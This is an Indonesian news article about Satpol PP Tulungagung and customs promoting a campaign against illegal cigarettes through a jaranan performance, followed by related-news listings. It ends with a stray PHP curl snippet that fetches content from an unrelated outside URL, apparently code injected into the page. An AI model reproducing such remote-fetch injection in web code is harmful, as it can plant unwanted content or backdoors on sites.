Bersama Bea Cukai , Satpol PP Tulungagung Sosialisasikan Gempur Rokok Ilegal Melalui Kesenian Jaranan

Kamis, 15 Juni 2023

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

jejakkasus.info| Tulungagung -, Tulungagung,. Bertempat di kelurahan Kepatihan-Tulungagung Satuan Polisi Pamong Praja ( Satpol PP) Tulungagung bersama bea cukai menggelar sosialisasi penegakan hukum peredaran rokok ilegal atau gempur rokok ilegal, Minggu (11/6).

Sosialisasi gempur rokok ilegal di kalangan masyarakat ini dengan menggelar pertunjukan kesejian jaranan tradisional Jaranan Jawa Turonggo Mitro Taruno.

Sebelum memberikan sosialisasi Gempur Rokok Ilegal, Anggota Satpol PP Tulungagung Muhammad Erni Erwanto mengajak kepada masyarakat yang hadir untuk menyuarakan yel-yel Gempur Rokok Ilegal, untuk memberikan semangat kepada masyarakat.

Baca Juga:  KPK RI Adakan Sosialisasi MCP di Kaur

“Sosialisasi ini bertujuan memberikan pemahaman mengenai ciri-ciri rokok ilegal serta cara melaporkan peredaran rokok ilegal,” kata Muhammad Erni Erwanto.
“Rokok ilegal adalah rokok yang beredar di tengah-tengah masyarakat yang belum memenuhi kewajibannya membayar cukai” lanjutnya.

Selain memberikan pemahaman, Erni juga menjelaskan ciri-ciri rokok ilegal yang beredar di masyarakat, serta sanksi dari peredaran rokok ilegal. “Sanksi dari peredaran rokok ilegal adalah pidana 1 sampai 8 tahun serta denda administrasi 10 kali sampai 20 kali nilai cukai,” jelasnya.

Baca Juga:  Polsek Sei Beduk Gelar Curhat Jumat Sekaligus Pembagian Bansos di Bida Ayu

Perlu dipahami bahwa rokok ilegal merupakan rokok yang tidak sesuai dengan ketentuan perundang-undangan di bidang cukai. Cirinya seperti rokok dengan pita cukai palsu dan/atau pita cukai bekas, rokok dengan pita cukai yang tidak sesuai peruntukan, serta rokok yang tanpa dilekati pita cukai (rokok polos).

Tujuan dari kegiatan ini adalah untuk meningkatkan kepatuhan pedagang dan masyarakat pengguna terhadap rokok legal serta meminimalisir peredaran rokok ilegal, sehingga memberikan situasi kondusif bagi peredaran dan pengusaha rokok legal yang telah mematuhi ketentuan cukai yang berlaku.

Baca Juga:  Diduga Pemberian 12 Sumur Migas Ada Kerjasama Bupati dan Oknum DPRD Tanjab Barat

Sementara itu, Lurah Kepatihan Rio Hendrawan Nusantara, S.E.,
Mengucapkan terima kasih kepada semua Panitia serta semua pihak yang terkait yang telah dengan sukses melaksanakan kegiatan mulai dari pagi sampai sore hari.

“Terima kasih saya ucapkan kepada Panitia penyelenggara serta warga Kelurahan Kepatihan yang telah melaksanakan kegiatan Sosialisasi Gempur Rokok Ilegal pada hari ini mulai dari pagi hari sampai saat ini acara berjalan dengan tertib dan lancar”, ucapnya. (Gd)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

BAWASLU ajak Awak Media di Tanjabbar,  Wujudkan Pilkada Damai
Pjs Bupati Silaturahmi bersama Toga, Tomas dan Insan Pers
Wazaki Bantah Bawaslu Lamsel Bolehkan Bagi Sembako di Masa Kampanye
Deklarasi Kampanye Pasangan Nomor Urut 2 di Pringsewu
Syahriandany SH Kepala Balai KIR Kota Pangkalpinang, Menjabat Ketua IPKBI Babel: Tidak Ada Tebang Pilih, Semua Sesuai Aturan Permenhub No 19 Tahun 2021
KPU Tanjab Barat lakukan Pengundian Nomor Urut Paslon Bupati dan Wakil Bupati 
Hermansyah Sekda Tanjab Barat hadiri Pelantikan Penjabat Bupati Merangin dan Sarolangun secara Virtual
Anwar Sadat Respon Cepat usulan Masyarakat, Kerusakan Jembatan di Wilayah Tanjab Barat

Berita Terkait

Selasa, 8 Oktober 2024 - 14:59 WIB

BAWASLU ajak Awak Media di Tanjabbar,  Wujudkan Pilkada Damai

Minggu, 6 Oktober 2024 - 16:59 WIB

Pjs Bupati Silaturahmi bersama Toga, Tomas dan Insan Pers

Rabu, 2 Oktober 2024 - 05:10 WIB

Wazaki Bantah Bawaslu Lamsel Bolehkan Bagi Sembako di Masa Kampanye

Sabtu, 28 September 2024 - 15:09 WIB

Deklarasi Kampanye Pasangan Nomor Urut 2 di Pringsewu

Kamis, 26 September 2024 - 08:51 WIB

Syahriandany SH Kepala Balai KIR Kota Pangkalpinang, Menjabat Ketua IPKBI Babel: Tidak Ada Tebang Pilih, Semua Sesuai Aturan Permenhub No 19 Tahun 2021

Berita Terbaru

Peristiwa

Kick Off (ILP) Di Launching Oleh Plt Bupati Malang

Rabu, 16 Okt 2024 - 11:09 WIB

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>